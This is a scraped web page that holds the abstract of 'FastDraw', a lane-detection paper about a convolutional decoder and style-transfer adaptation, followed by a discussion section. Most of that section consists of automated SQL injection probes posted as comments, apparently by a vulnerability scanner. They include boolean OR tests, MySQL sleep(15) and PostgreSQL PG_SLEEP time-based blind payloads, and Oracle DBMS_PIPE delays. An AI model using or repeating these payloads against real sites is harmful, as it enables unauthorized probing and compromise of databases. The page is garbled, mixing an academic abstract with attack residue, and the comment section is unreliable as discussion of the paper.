FastDraw: Addressing the Long Tail of Lane Detection by Adapting a Sequential Prediction Network
Jonah Philion
The search for predictive models that generalize to the long tail of sensor inputs is the central difficulty when developing data-driven models for autonomous vehicles. In this paper, we use lane detection to study modeling and training techniques that yield better performance on real world test drives. On the modeling side, we introduce a novel fully convolutional model of lane detection that learns to decode lane structures instead of delegating structure inference to post-processing. In contrast to previous works, our convolutional decoder is able to represent an arbitrary number of lanes per image, preserves the polyline representation of lanes without reducing lanes to polynomials, and draws lanes iteratively without requiring the computational and temporal complexity of recurrent neural networks. Because our model includes an estimate of the joint distribution of neighboring pixels belonging to the same lane, our formulation includes a natural and computationally cheap definition of uncertainty. On the training side, we demonstrate a simple yet effective approach to adapt the model to new environments using unsupervised style transfer. By training FastDraw to make predictions of lane structure that are invariant to low-level stylistic differences between images, we achieve strong performance at test time in weather and lighting conditions that deviate substantially from those of the annotated datasets that are publicly available. We quantitatively evaluate our approach on the CVPR 2017 Tusimple lane marking challenge, difficult CULane datasets [29], and a small labeled dataset of our own and achieve competitive accuracy while running at 90 FPS.
Discussion
-
tsSLAueP-1 OR 2+929-929-1=0+0+0+1 --zFPWdwPk reply to tsSLAueP-1 OR 2+568-568-1=0+0+0+1 --2025-09-30 22:40zFPWdwPk reply to tsSLAueP-1 OR 2+581-581-1=0+0+0+12025-09-30 22:40zFPWdwPk reply to tsSLAueP-1' OR 2+903-903-1=0+0+0+1 or '5eft1Dt7'='2025-09-30 22:40zFPWdwPk reply to tsSLAueP-1" OR 2+488-488-1=0+0+0+1 --2025-09-30 22:40zFPWdwPk reply to tsSLAuePif(now()=sysdate(),sleep(15),0)2025-09-30 22:40zFPWdwPk reply to tsSLAueP0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-09-30 22:41zFPWdwPk reply to tsSLAueP0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-09-30 22:41zFPWdwPk reply to tsSLAueP-5 OR 520=(SELECT 520 FROM PG_SLEEP(15))--2025-09-30 22:41zFPWdwPk reply to tsSLAueP-5) OR 172=(SELECT 172 FROM PG_SLEEP(15))--2025-09-30 22:41zFPWdwPk reply to tsSLAueP-1)) OR 424=(SELECT 424 FROM PG_SLEEP(15))--2025-09-30 22:42zFPWdwPk reply to tsSLAueP555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-09-30 22:42zFPWdwPk reply to tsSLAueP555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-09-30 22:42zFPWdwPk reply to tsSLAueP1 À§À¢%2527%25222025-09-30 22:42zFPWdwPk reply to tsSLAueP@@iEu5P2025-09-30 22:42reply to tsSLAueP-1 OR 2+115-115-1=0+0+0+1 --2025-10-01 12:57reply to tsSLAueP-1 OR 2+544-544-1=0+0+0+12025-10-01 12:57reply to tsSLAueP-1' OR 2+382-382-1=0+0+0+1 or 'PKexbSU4'='2025-10-01 12:57reply to tsSLAueP-1" OR 2+233-233-1=0+0+0+1 --2025-10-01 12:57reply to tsSLAuePif(now()=sysdate(),sleep(15),0)2025-10-01 12:57reply to tsSLAueP0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-10-01 12:58reply to tsSLAueP0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-10-01 12:58reply to zFPWdwPk-1 OR 2+133-133-1=0+0+0+1 --2025-10-01 12:58reply to zFPWdwPk-1 OR 2+835-835-1=0+0+0+12025-10-01 12:58reply to zFPWdwPk-1' OR 2+344-344-1=0+0+0+1 or '80l0gSTX'='2025-10-01 12:58reply to zFPWdwPk-1" OR 2+20-20-1=0+0+0+1 --2025-10-01 12:58reply to tsSLAueP-5 OR 124=(SELECT 124 FROM PG_SLEEP(15))--2025-10-01 12:58reply to zFPWdwPkif(now()=sysdate(),sleep(15),0)2025-10-01 12:58reply to zFPWdwPk0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-10-01 12:58reply to tsSLAueP-5) OR 442=(SELECT 442 FROM PG_SLEEP(15))--2025-10-01 12:58reply to zFPWdwPk0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-10-01 12:59reply to tsSLAueP-1)) OR 282=(SELECT 282 FROM PG_SLEEP(15))--2025-10-01 12:59reply to tsSLAueP1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-10-01 12:59reply to zFPWdwPk-5 OR 806=(SELECT 806 FROM PG_SLEEP(15))--2025-10-01 12:59reply to zFPWdwPk-5) OR 624=(SELECT 624 FROM PG_SLEEP(15))--2025-10-01 12:59reply to tsSLAueP1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-10-01 12:59reply to zFPWdwPk-1)) OR 247=(SELECT 247 FROM PG_SLEEP(15))--2025-10-01 12:59reply to tsSLAueP1 ����%2527%25222025-10-01 12:59reply to tsSLAueP@@fXSVM2025-10-01 12:59reply to zFPWdwPk1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-10-01 12:59reply to zFPWdwPk1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-10-01 12:59reply to zFPWdwPk1 ����%2527%25222025-10-01 12:59 -
tsSLAueP-1 OR 2+771-771-1=0+0+0+1zFPWdwPk reply to tsSLAueP-1 OR 2+433-433-1=0+0+0+1 --2025-10-01 00:27zFPWdwPk reply to tsSLAueP-1 OR 2+536-536-1=0+0+0+12025-10-01 00:27zFPWdwPk reply to tsSLAueP-1' OR 2+210-210-1=0+0+0+1 or 'X7fPsDbl'='2025-10-01 00:27zFPWdwPk reply to tsSLAueP-1" OR 2+612-612-1=0+0+0+1 --2025-10-01 00:27zFPWdwPk reply to tsSLAuePif(now()=sysdate(),sleep(15),0)2025-10-01 00:27zFPWdwPk reply to tsSLAueP0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-10-01 00:28zFPWdwPk reply to tsSLAueP0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-10-01 00:28zFPWdwPk reply to tsSLAueP-5 OR 654=(SELECT 654 FROM PG_SLEEP(15))--2025-10-01 00:30zFPWdwPk reply to tsSLAueP-5) OR 997=(SELECT 997 FROM PG_SLEEP(15))--2025-10-01 00:31zFPWdwPk reply to tsSLAueP-1)) OR 525=(SELECT 525 FROM PG_SLEEP(15))--2025-10-01 00:32zFPWdwPk reply to tsSLAueP555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-10-01 00:33zFPWdwPk reply to tsSLAueP555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-10-01 00:34zFPWdwPk reply to tsSLAueP1 ˤˢ%2527%25222025-10-01 00:34zFPWdwPk reply to tsSLAueP@@1lCn52025-10-01 00:34 -
tsSLAueP-1' OR 2+757-757-1=0+0+0+1 or 'TEl0WmMD'='zFPWdwPk reply to tsSLAueP-1 OR 2+82-82-1=0+0+0+1 --2025-10-01 00:59zFPWdwPk reply to tsSLAueP-1 OR 2+715-715-1=0+0+0+12025-10-01 00:59zFPWdwPk reply to tsSLAueP-1' OR 2+38-38-1=0+0+0+1 or 'jLpqTPLY'='2025-10-01 00:59zFPWdwPk reply to tsSLAueP-1" OR 2+144-144-1=0+0+0+1 --2025-10-01 00:59zFPWdwPk reply to tsSLAuePif(now()=sysdate(),sleep(15),0)2025-10-01 00:59zFPWdwPk reply to tsSLAueP0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-10-01 00:59zFPWdwPk reply to tsSLAueP0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-10-01 00:59zFPWdwPk reply to tsSLAueP-5 OR 881=(SELECT 881 FROM PG_SLEEP(15))--2025-10-01 01:00zFPWdwPk reply to tsSLAueP-5) OR 396=(SELECT 396 FROM PG_SLEEP(15))--2025-10-01 01:00zFPWdwPk reply to tsSLAueP-1)) OR 289=(SELECT 289 FROM PG_SLEEP(15))--2025-10-01 01:00zFPWdwPk reply to tsSLAueP555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-10-01 01:00zFPWdwPk reply to tsSLAueP555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-10-01 01:00zFPWdwPk reply to tsSLAueP1 ˤˢ%2527%25222025-10-01 01:00 -
tsSLAueP-1" OR 2+250-250-1=0+0+0+1 -- -
tsSLAueP0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z -
tsSLAueP0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z -
tsSLAueP-5 OR 977=(SELECT 977 FROM PG_SLEEP(15))-- -
tsSLAueP-5) OR 722=(SELECT 722 FROM PG_SLEEP(15))-- -
tsSLAueP-1)) OR 909=(SELECT 909 FROM PG_SLEEP(15))-- -
tsSLAueP555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) -
tsSLAueP555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' -
tsSLAueP1 ˤˢ%2527%2522 -
tsSLAueP@@9cTmP -
zFPWdwPk-1 OR 2+664-664-1=0+0+0+1 -- -
zFPWdwPk-1 OR 2+951-951-1=0+0+0+1 -
zFPWdwPk-1' OR 2+211-211-1=0+0+0+1 or 'iHsh1obD'=' -
zFPWdwPk-1" OR 2+200-200-1=0+0+0+1 -- -
zFPWdwPkif(now()=sysdate(),sleep(15),0) -
zFPWdwPk0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z -
zFPWdwPk0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z -
zFPWdwPk-5 OR 30=(SELECT 30 FROM PG_SLEEP(15))-- -
zFPWdwPk-5) OR 203=(SELECT 203 FROM PG_SLEEP(15))-- -
zFPWdwPk-1)) OR 659=(SELECT 659 FROM PG_SLEEP(15))-- -
zFPWdwPk555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) -
zFPWdwPk555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' -
zFPWdwPk1 ˤˢ%2527%2522
Reply